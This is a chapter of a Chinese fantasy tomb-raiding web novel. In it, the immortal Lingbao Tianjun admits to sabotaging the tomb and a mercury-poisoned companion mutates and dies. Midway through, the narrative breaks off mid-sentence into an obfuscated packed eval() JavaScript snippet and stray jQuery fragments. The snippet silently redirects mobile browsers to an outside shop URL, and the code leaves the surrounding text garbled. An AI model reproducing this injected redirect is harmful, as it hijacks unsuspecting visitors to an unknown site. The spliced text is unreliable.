于是孟夏原本想质问的语气一下子软了下来:“你···为什么会出现在这里啊?”
“我跟着你来的啊,阿饕。我下凡来找你,找了好久找不到。我去阴间翻生死簿,结果阎王说你已经魂飞魄散了。我吓得一身冷汗。但我运气好哎,我派出去打听的小地仙告诉我他在煦城看见了你,结果我去的时候你恰巧走了,我吓死了,还以为你又要魂飞魄散了。但是没有,嘿嘿嘿。”
灵宝天君说得一身是汗,但架不住太激动太热情了,似乎也不觉得这些有多麻烦,只觉得能和阿饕见面非常开心。
可能是因为灵宝天君这种长辈的关切太像外婆了,孟夏确实被这种重逢的幸福感染了,哪怕灵宝天君想见的这个人不完全是自己。
灵宝天君继续说:“我在你们下海没多久就跟上来了,一直沿着你们挖的洞进了这个墓,原本我是想找到你就和你相认的。但我刚进来就碰上小沉傲说什么墓室里有门被人偷摸打开了的事,我想,这问题大了啊,你们这群人里八成有人不怀好意想要害人啊。
我就跟在后面一时没出现,当时我就发现那个老葛鬼鬼祟祟的,和黄头眉来眼去暗度陈仓。在你们被带到石室之前,我发誓我看见了那个叫老葛的在石墙上摸来摸去,八成就是在动机关。这个事你们里面那个叫袁老的也能证明。”
袁老见众人都看向他,不得不站出来道:“我看到是看到了,但我还以为是你呢,真不是你吗?这不都一样嘛,我哪知道当时那张脸还是这张脸是真的呢。”
灵宝天君一拍大腿:“哎呦,你们凡人就是笨,那怎么会是我!黄头和老葛的关系一开始亲密无间,后来突然就闹翻了你们都不记得了?就没一个人觉得古怪?”
说孟夏他们心里一点不觉得奇怪那也不对,但他们面临的危险几乎是一茬接一茬的,根本分不出心思来细究。
陆微知道是孟夏前世的师父后翻脸比翻书还快,此时站出来适时挽回一分凡人的脸面:“天君所言极是,那这么说天君是在石室前后把之前那个老葛换掉的了。”黄头老葛的关系似乎就是在石室后变化的,确切地说是小五提到内鬼前后。
灵宝天君:“你这兔崽子还有点慧根,我当时看老葛动墙上的机关,就觉得他不对劲,一直隐着身贴着他站着,在我们被分到不同石室那一刹那,我附在了他身上。”
凌云顺着思路猜道:“所以你和他分到了同一个石室?”
灵宝天君惊喜地拍了拍手:“对啊,你也很聪明嘛。但让我非常意外的是,他进入石室之后给自己喂了一颗药,喂完之后他的身体突然下陷,成了一个···袋子?”
当时的情况非常诡异,饶是灵宝天君做为一个见多识广的老神仙也一时间难以形容眼前的画面。老葛似乎对于自己按下机关后会进入密闭石室这件事非常清楚,进去后就从容不迫地从怀里拿出一颗黑色丸药吃了下去。吃完后不过片刻,他的身体内部就像水一样突然消失了,只留下一张空空的壳,而他自己甚至知道把头打开,就好像他的身体变成了一个随时可以盛东西的器皿。
老葛做完这些,整个身体就往石墙里一融,竟然就融进去了。灵宝天君把整个石室都翻遍了也没再翻出来。
陆微和孟夏一听皆是大惊,都想到了阿怪:“你抠出过石墙里的石块看嘛,石缝里有没有他的骨头皮肤?”
“这···”灵宝天君摸了摸脑袋,“我也来不及啊,我心里寻思着这黄头和老葛是一伙的,老葛不知道去哪儿了,说不定黄头还在,我得把黄头的身份诈出来啊。于是我就变成了老葛的样子,刚变成,小沉傲就来救我了。
再然后,我就出去了,我出去之后黄头见到我果真吓一跳,几次想套我的话,我也想趁机套他的话。可惜,没套成,要不然早把他抓出来了。”
孟夏还沉浸在刚才那个人体袋子里,又不由对陆微道:“或许老葛这个情况和阿怪的不完全一样,因为我们在之后人脸虫身的怪物中没有看到阿怪的脸,但看到了老葛的。”
陆微:“照你这么说,那些人脸虫身的脸全是人用这种方式死亡后留下的了?”
陆微说完后,两个人俱是头皮一麻,想到如果真的是这个原因,那这里得有过多少人体袋子。还有季财呢?他不是回去了嘛,又怎么会在里面?
这边俩人私下想到季财,那边小五已经在问了。
小五捏了捏眉心:“照这么说,季财之前一直说闹鬼也是黄头的手笔喽。为的是把他吓走,再顺理成章地逃过我们的眼睛,想对他做什么就做什么,比如做成老葛那种袋子?”
灵宝天君摸了摸脑袋:“季财是谁,但不管怎样,八成是黄头做的了,难道还有旁人嘛?”
一旁久未发言的阿三欲言又止,却在瞥到小七的一个眼神后又退后了一步,隐到了人群里。
小五:“也就是说,最开始打开墓室门的机关,让海水淹进来也是黄头做的。为的是把我们淹死?”
灵宝天君赞同道:“对啊对啊,小沉傲你还是这么聪明!还有到后面我们把阴极看成阳极,阳极看成阴极,八成也是他动的手脚啦,就是不知道他是怎么做到的。”
小五微微一笑:“这很简单,好歹是个神仙,歃血后微微冲破一点封印做个最简单的障眼法,对于当时修为被封的我们来说都是致命的,不是吗?”
有道理啊。
好像所有问题都得到了解释,但小五并没有放松下来,她用力揉着眉心,嘴角始终是一抹若有似无仿佛冷嘲的笑意:“但是,天君,这换阴阳极之事,我把你的做法想好了,却没有想到你的目的啊。”
灵宝天君一怔:“什么?”
孟夏他们也望向小五,几乎是瞬间理解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740981|205691||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了小五的意思。
其实小五的怀疑是有道理的,因为当时过天桥锁链的时候,灵宝天君和黄头吵了一架,借此跑到李玦身后走在了最后一个,如此一来无论他在后面做了什么小动作,别人也很难注意到了。
反而是站在李玦前面的黄头,他在李玦眼皮子底下不动声色地歃血破封印再施障眼法根本没那么容易。
但是,孟夏心里叹了口气,她还以为灵宝天君会是善意的,至少对自己是善意的。
被拆穿了,灵宝天君索性也不装了,他屁股一瘫,往那儿一坐,哭道:“你们一个两个跟一群盗墓贼混在一起,还记得自己什么身份吗?”
陆微眉头一皱:“什么身份?我不是个鬼吗?”
孟夏附和:“对啊,我不是个鬼吗?”
小五也挑了挑眉,那意思是确定要和我谈我的身份?
不过被羞辱的另一批人:那群盗墓贼,此时完全没有心情计较这个,在发现吴启长时间无法醒过来之后,他们自发地在李玦身边排队检查伤势,但情况好像并不乐观。
灵宝天君讪讪地摸了摸鼻子:“哎呀,反正就是,我好歹是个神仙啊,能眼睁睁看着一群盗墓贼往神仙墓里头跑吗,我就捣了个乱。我哪知道就是换个阴阳极,怎么能整出那些玩意儿,吓死神仙了。”
孟夏气急败坏:“所以真的是你,你差点把我们所有人都害死了!”灵宝天君难免露出歉疚的神色,想上来和孟夏道歉,这个时候人群中却适时传来惊呼:“大江,袁老你们怎么了?”
孟夏转头看过去,心脏一紧:“不,不是差点,你已经害死人了。”
继吴启倒下之后,大江、袁老再次毫无征兆地倒下。
李玦已经很久没说话了,小五他们复盘之时,他反复研究着吴启几人的伤势,想要试图从异化者中水银剧毒的无解命题中想一个答案,但,没有办法。
直到,李玦突然站起身,道:“大家先退后!”
众人已经不需要提醒了,因为他们看到了之后几年一想到都浑身发毛的瘆人一幕。
吴启不知何时已经醒了,口中说着混沌不清的话,但其实外人听来早已一句听不清了。水银剧毒让他的面容痴呆,眼珠外翻,口涎直流。他忽然站了起来,全身都在不受控制地颤抖,四肢扭曲成麻花状,头软绵绵的、已经耷拉到腿根处了。
他一边痛苦呜咽、低声尖叫着,一边还在努力抓咬着周边的人,这是异化造成的攻击性。
大家纷纷尖叫着,或者后退,或者想上前制伏吴启。李玦手指微动,还是将一直埋藏在手心的那枚银针插入了吴启的太阳穴,银光如蜻蜓翅膀轻落,吴启终于痛苦地闭上了眼睛,彻底倒下了。
吴启死后身上的肌肉依旧在不停歇地震颤着,李玦失神地看着,好像听到那震颤的肌肉仍在发出痛苦的嗡响。